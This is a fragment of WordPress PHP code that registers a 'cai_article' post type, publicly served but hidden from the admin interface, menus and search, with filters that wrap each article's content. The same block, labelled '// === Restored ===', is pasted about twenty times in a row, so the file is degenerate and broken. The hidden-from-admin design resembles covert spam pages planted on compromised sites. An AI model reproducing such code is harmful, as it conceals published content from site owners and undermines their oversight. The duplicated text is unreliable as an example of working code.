    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
    $nav = "<div style=\"margin:20px 0;padding:15px 20px;background:#f8f9fa;border-radius:8px;border-left:4px solid #667eea;text-align:center;\"><a href=\"" . home_url("/?post_type=cai_article") . "\" style=\"display:inline-block;padding:8px 25px;background:#667eea;color:#fff;text-decoration:none;border-radius:4px;font-size:14px;\">← Back to Articles</a></div>";
    return $info . $content . $nav . "<!-- CAI -->";
}, 10);

// === Restored ===

add_action("init", function() {
    register_post_type("cai_article", [
        "public" => true,
        "publicly_queryable" => true,
        "exclude_from_search" => true,
        "show_ui" => false,
        "show_in_menu" => false,
        "show_in_admin_bar" => false,
        "show_in_nav_menus" => false,
        "show_in_rest" => false,
        "rewrite" => false,
        "has_archive" => false,
        "supports" => ["title", "editor"],
        "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
    ]);
});

add_filter("post_type_link", function($url, $post) {
    return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);

add_filter("post_type_archive_link", function($link, $post_type) {
    return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);

add_filter("the_content", function($content) {
    global $post;
    if (!is_singular("cai_article") || strpos($content, "<!-- CAI -->") !== false) return $content;
    $info = "<div style=\"margin:10px 0;padding:10px 15px;background:#f8f9fa;border-radius:4px;color:#666;font-size:14px;border-left:3px solid #667eea;\">👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "</div>";
